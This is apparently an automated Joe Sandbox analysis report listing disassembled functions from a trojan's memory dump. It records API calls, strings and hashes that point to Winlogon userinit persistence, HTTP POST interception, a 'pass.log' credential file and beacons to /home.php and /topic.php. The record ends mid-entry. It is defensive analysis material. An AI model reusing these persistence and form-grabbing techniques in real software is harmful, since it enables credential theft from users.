                                                                                                                                                                                                                      • API ID: Handle$MutexSleep$CloseInformationOpen$BackslashCreateObjectPathReleaseSingleThreadWait
                                                                                                                                                                                                                      • String ID: 26EE2440$FAKTURA$Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}
                                                                                                                                                                                                                      • API String ID: 2736094147-4079870963
                                                                                                                                                                                                                      • Opcode ID: 4c2a7038368f6ae82e7ec76600b35866fd01de627e56f2cf18abfd7f6c9792e6
                                                                                                                                                                                                                      • Instruction ID: 84a3c7b18260dd68f3eb02100e324583f4407c203f1916f36ab2ab033fb7be84
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4c2a7038368f6ae82e7ec76600b35866fd01de627e56f2cf18abfd7f6c9792e6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0C210B71AC6715BAF331A7649C87F1F77C4AF49B16F408604FD44A61C08FB0A8048AB7
                                                                                                                                                                                                                      Function 02705090 Relevance: 27.1, APIs: 18, Instructions: 133memorynetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000C10,74DF3050,74DF30D0,74DF3080), ref: 027050B7
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 027050BA
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000C10), ref: 027050CE
                                                                                                                                                                                                                      • inet_addr.WS2_32(?), ref: 027050F5
                                                                                                                                                                                                                      • GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02705113
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270511D
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02705120
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0270512D
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02705130
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000C13), ref: 02705148
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 0270514F
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000C13), ref: 0270515F
                                                                                                                                                                                                                      • GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02705175
                                                                                                                                                                                                                      • htons.WS2_32(00000000), ref: 027051A1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000C00), ref: 027051D1
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 027051D4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000C00), ref: 027051E4
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 027051E7
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$AllocFreeTableValidatememset$htonsinet_addr
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1718479325-0
                                                                                                                                                                                                                      • Opcode ID: d7ba43c8f36239a1bb1afa04ce787752ef8bc850bc1421c8b90d9988d51f1018
                                                                                                                                                                                                                      • Instruction ID: 03a61e3bf478c6ee24b59550adde2988d154cbaca130b1f9a1abcfe83a90845f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d7ba43c8f36239a1bb1afa04ce787752ef8bc850bc1421c8b90d9988d51f1018
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9241C172940304EBEB209F65DC88F9E7BA8BF48755F958618F9059B2C0DB72D944CFA0
                                                                                                                                                                                                                      Function 02705200 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 210stringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 02705250
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 0270527C
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 027052A3
                                                                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000005), ref: 027052D4
                                                                                                                                                                                                                      • strstr.MSVCRT(?,), ref: 027052FD
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,Content-Length: ), ref: 02705315
                                                                                                                                                                                                                      • StrToIntA.SHLWAPI(-00000010), ref: 02705323
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,00000004), ref: 02705355
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$Readmemcpystrstr
                                                                                                                                                                                                                      • String ID: $Content-Length: $POST
                                                                                                                                                                                                                      • API String ID: 2509092961-2076583852
                                                                                                                                                                                                                      • Opcode ID: d51e75d1b3759850f6e72e01d8b9f42499d92d268b4a8640a6e80d0d015f272f
                                                                                                                                                                                                                      • Instruction ID: b4d177cf6760503b256fd546842cd7b9e19c077f52249d71b1d6767581c9f774
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d51e75d1b3759850f6e72e01d8b9f42499d92d268b4a8640a6e80d0d015f272f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9F7160B1D40309EFDB11CFA8D894AAEBBF5FB4C704B44862AE505E7240E771A909CF91
                                                                                                                                                                                                                      Function 02714A10 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 175registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(02749B58,74DF30D0,00000000), ref: 02714A43
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000103,?,75A90180), ref: 02714A6D
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,userinit,00000000,00000000,00000000,00000000), ref: 02714A8D
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,userinit,00000000,00000000,00000000,00000000), ref: 02714ABA
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,02749B58), ref: 02714ABE
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,00000000,00000002), ref: 02714B60
                                                                                                                                                                                                                        • Part of subcall function 027041B0: GetProcessHeap.KERNEL32(00000000,00000000,75A8EA50,02714B6D), ref: 027041BE
                                                                                                                                                                                                                        • Part of subcall function 027041B0: HeapValidate.KERNEL32(00000000), ref: 027041C1
                                                                                                                                                                                                                        • Part of subcall function 027041B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 027041CE
                                                                                                                                                                                                                        • Part of subcall function 027041B0: HeapFree.KERNEL32(00000000), ref: 027041D1
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(?), ref: 02714B71
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 02714B7B
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Value$ProcessQuery$CloseExistsFileFlushFreeOpenPathValidate
                                                                                                                                                                                                                      • String ID: software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                                      • API String ID: 579956326-3814317876
                                                                                                                                                                                                                      • Opcode ID: a4a6b3a382cdaca239118a6abfebedcb5cca1c55cbee6dbddb4611471a7a2e57
                                                                                                                                                                                                                      • Instruction ID: c887dc3da681c23f46bddde42c77dabfe816d8b9735dd40c8561d95d866ec571
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a4a6b3a382cdaca239118a6abfebedcb5cca1c55cbee6dbddb4611471a7a2e57
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AF512B75640306FFEB21CB689DA8FBABBB9EF88704F104544F941AB240D771D915C790
                                                                                                                                                                                                                      Function 0270E1B0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 167stringthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,00000000,?), ref: 0270E1D1
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,<L>,?,00000000,?), ref: 0270E209
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270E23D
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270E273
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(00000000), ref: 0270E2B9
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270B980,00000000,00000000,00000000,00000000,00000000), ref: 0270E338
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270E350
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270E361
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,bsi.dll,?,00000000,?), ref: 0270E387
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,00000000,?), ref: 0270E3C4
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashHandle$CloseCreateExistsFileInformationThreadmemcpymemsetstrstr
                                                                                                                                                                                                                      • String ID: 26EE256C$<L>$POST$bsi.dll$pass.log
                                                                                                                                                                                                                      • API String ID: 4177962767-3422508259
                                                                                                                                                                                                                      • Opcode ID: 75ec2f53c8babe36c0acf7e365ec79edc35995efe582ac6e91f1dc0959755110
                                                                                                                                                                                                                      • Instruction ID: 4c235fae4eb41ca414929fde91b1a4014adfa37505e08d433de6dbe9855101fc
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 75ec2f53c8babe36c0acf7e365ec79edc35995efe582ac6e91f1dc0959755110
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8A513B35D40204DBDB269F74E898BABBFE5BB48704F14895AE944972C0DBB0E95CCB90
                                                                                                                                                                                                                      Function 02703800 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 164memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,74DF0F00,00000000,00000000), ref: 02703821
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,74DF0F00,00000000,00000000), ref: 0270383C
                                                                                                                                                                                                                      • GetTempPathA.KERNEL32(00000104,?,?,?,?,74DF0F00,00000000,00000000), ref: 02703856
                                                                                                                                                                                                                      • GetTempFileNameA.KERNEL32(?,00000000,00000000,?,?,?,?,74DF0F00,00000000,00000000), ref: 0270386C
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: memset.MSVCRT(?,00000000,000000FF,00000000), ref: 026F6CA1
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: memset.MSVCRT(?,00000000,00000103,?,00000000,000000FF,00000000), ref: 026F6CBF
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?,?,?,?,?,?,00000000), ref: 026F6CDB
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: RegQueryValueExA.ADVAPI32(?,D900DE38a,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 026F6D02
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 026F6D7A
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 026F6D81
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: memset.MSVCRT(00000000,00000000,00000110,?,?,?,?,?,00000000), ref: 026F6D95
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 026F6DAE
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000000), ref: 026F6DBC
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,?,74DF0F00,00000000,00000000), ref: 027038BB
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,?,74DF0F00,00000000,00000000), ref: 027038C2
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,?,74DF0F00,00000000,00000000), ref: 027038CE
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,?,74DF0F00,00000000,00000000), ref: 027038D5
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000,00000001,00000000,00000000,/topic.php,?,00000001,00000001,00000001,00000000,00000001,?,?,?,74DF0F00), ref: 0270394D
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?,?,?,?,74DF0F00,00000000,00000000), ref: 0270395A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,74DF0F00,00000000,00000000), ref: 02703998
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,?,74DF0F00,00000000,00000000), ref: 0270399B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,74DF0F00,00000000,00000000), ref: 027039A7
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,?,74DF0F00,00000000,00000000), ref: 027039AA
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Processmemset$File$FreeTempValidate$AllocAttributesCloseDeleteNameOpenPathQueryValuelstrcpyn
                                                                                                                                                                                                                      • String ID: /topic.php
                                                                                                                                                                                                                      • API String ID: 870369024-224703247
                                                                                                                                                                                                                      • Opcode ID: 075ca9492d92b366ce53bd43062d9a9b954531f3306ece4c4dc91ab0daa88a53
                                                                                                                                                                                                                      • Instruction ID: 5646ea70d58084eaaa3b1c4d09105b194bafccf5900a461dfcbca043c0b0bddf
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 075ca9492d92b366ce53bd43062d9a9b954531f3306ece4c4dc91ab0daa88a53
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 905117B2D40118EBDB219B749CC9EEBBBACEB48305F4489D9F645D71C0D7719D888BA0
                                                                                                                                                                                                                      Function 0270CE88 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 162COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C), ref: 0270CEA7
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0270CEE1
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0270CEEB
                                                                                                                                                                                                                      • #680.SHELL32 ref: 0270CEF3
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 0270CF04
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 0270CF0B
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 0270CF41
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 0270CF80
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE256C,?,?), ref: 0270CFC7
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Path$BackslashDirectoryErrorLast$#680AttributesCreateCurrentFileFolderMakeSystem
                                                                                                                                                                                                                      • String ID: 26EE256C$\$ctunnel.zip$path_ctunnel.txt
                                                                                                                                                                                                                      • API String ID: 3681223936-2204356779
                                                                                                                                                                                                                      • Opcode ID: 441c3e9800514eccbf9e3a5de896338c20cf1f68b1ee75f0c55062117a2e085a
                                                                                                                                                                                                                      • Instruction ID: 16670da6a0bf07fc305bd264948fff648a9f0d889d97b6f3c021f6098889cd0c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 441c3e9800514eccbf9e3a5de896338c20cf1f68b1ee75f0c55062117a2e085a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6B51F671904649CFCB16CB289898BE67BE5EF4A301F54C699D8C9C7241DB70D98CCB90
                                                                                                                                                                                                                      Function 026F8320 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 156synchronizationmemorythreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32(00000000,00000000,74DEF380,?,?,026F8212,00000000,00000000), ref: 026F833C
                                                                                                                                                                                                                      • GetThreadDesktop.USER32(00000000,?,?,026F8212,00000000,00000000), ref: 026F8343
                                                                                                                                                                                                                      • SetThreadDesktop.USER32(00000000,?,?,026F8212,00000000,00000000), ref: 026F834F
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: GetTickCount.KERNEL32(00000000,00000000), ref: 026FDA2D
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 026FDA3E
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002939,0273F5A0), ref: 026FDA6A
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 026FDA83
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,0273F54C), ref: 026FDAB0
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 026FDAC3
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: CreateMutexA.KERNEL32(00000000,00000000,0273F670), ref: 026FDAE1
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00000000,00000000), ref: 026FDAFF
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: GetSecurityDescriptorSacl.ADVAPI32(00000000,?,?,?), ref: 026FDB20
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: SetNamedSecurityInfoA.ADVAPI32(0273F670,00000006,00000010,00000000,00000000,00000000,00000000), ref: 026FDB3D
                                                                                                                                                                                                                        • Part of subcall function 026FDA20: LocalFree.KERNEL32(00000000), ref: 026FDB47
                                                                                                                                                                                                                        • Part of subcall function 026FDC50: memset.MSVCRT(?,00000000,00000090,00000000,?), ref: 026FDC69
                                                                                                                                                                                                                        • Part of subcall function 026FDC50: GetVersionExA.KERNEL32(?,?,00000000,?), ref: 026FDC82
                                                                                                                                                                                                                        • Part of subcall function 02719F50: malloc.MSVCRT(00000350,00000000,?,?,?,026F837F,?,?,?,?,?,026F8212,00000000,00000000), ref: 02719F62
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,00000008,00000008), ref: 026F83E7
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,00000008,00000005), ref: 026F83F5
                                                                                                                                                                                                                      • lstrcpyA.KERNEL32(00000000,fuck), ref: 026F83FF
                                                                                                                                                                                                                        • Part of subcall function 02704F80: IsNetworkAlive.SENSAPI(026F6E0D,00000000), ref: 02704F93
                                                                                                                                                                                                                        • Part of subcall function 02704F80: #680.SHELL32 ref: 02704FA1
                                                                                                                                                                                                                        • Part of subcall function 02704F80: DnsFlushResolverCache.DNSAPI ref: 02704FAB
                                                                                                                                                                                                                        • Part of subcall function 02704F80: memset.MSVCRT(?,00000000,00000103,00000000,74DF0F10), ref: 02704FC8
                                                                                                                                                                                                                        • Part of subcall function 02704F80: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,74DF0F10), ref: 02704FE7
                                                                                                                                                                                                                        • Part of subcall function 02704F80: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02705000
                                                                                                                                                                                                                        • Part of subcall function 02704F80: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02705013
                                                                                                                                                                                                                        • Part of subcall function 02704F80: memset.MSVCRT(?,00000000,00000103,?,00000000,74DF0F10), ref: 0270502C
                                                                                                                                                                                                                        • Part of subcall function 02704F80: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,74DF0F10), ref: 02705045
                                                                                                                                                                                                                        • Part of subcall function 02704F80: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02705058
                                                                                                                                                                                                                        • Part of subcall function 02704F80: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02705065
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,00000000,?,00000000), ref: 026F84A2
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 026F84B1
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 026F84E0
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026F84EF
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026F84FD
                                                                                                                                                                                                                      • SetEvent.KERNEL32(00000000), ref: 026F8506
                                                                                                                                                                                                                      • Sleep.KERNEL32(00002710,?,00000000), ref: 026F854C
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateFileObjectSecuritySingleWait$DescriptorHeapThreadmemset$AllocCheckConnectionDesktopInternetMappingMutexViewlstrcpyn$#680AliveCacheConvertCountCurrentEventFlushFreeInfoLocalNamedNetworkReleaseResolverSaclSleepStringTickVersionlstrcpymalloc
                                                                                                                                                                                                                      • String ID: SYSTEM!910646!4579B355$fuck
                                                                                                                                                                                                                      • API String ID: 2944798476-817840279
                                                                                                                                                                                                                      • Opcode ID: 719e9cb6875c71ff3c47600f3cfb9335b68875618a575d829d953a1221c282e3
                                                                                                                                                                                                                      • Instruction ID: 307679d5d728c30f2d9b9fada9e4b1df6708417d96b7bbb124439d98818ff168
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 719e9cb6875c71ff3c47600f3cfb9335b68875618a575d829d953a1221c282e3
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C351E4B59413019FDB50DF68E94CFA73BE9BF48315F058AA9EA188B391C770A814CF51
                                                                                                                                                                                                                      Function 0270A1B0 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 130filethreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 0270A1CA
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 0270A1D7
                                                                                                                                                                                                                      • GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0270A1F4
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02709E40,?,00000000,00000000,00000000,00000000), ref: 0270A23E
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0270A256
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0270A267
                                                                                                                                                                                                                      • GetTempPathA.KERNEL32(00000104,?), ref: 0270A279
                                                                                                                                                                                                                      • GetTempFileNameA.KERNEL32(?,00000000,00000000,?), ref: 0270A291
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,name=%s&port=%u,%53%59%53%54%45%4D%21%39%31%30%36%34%36%21%34%35%37%39%42%33%35%35,?), ref: 0270A2B1
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000,00000000,/home.php,?,00000001,?,?,00000001,00000000), ref: 0270A327
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 0270A334
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: File$HandleInformationPathTemp$AttributesBackslashCloseCreateDeleteEnvironmentNameThreadVariableVolume_snprintf
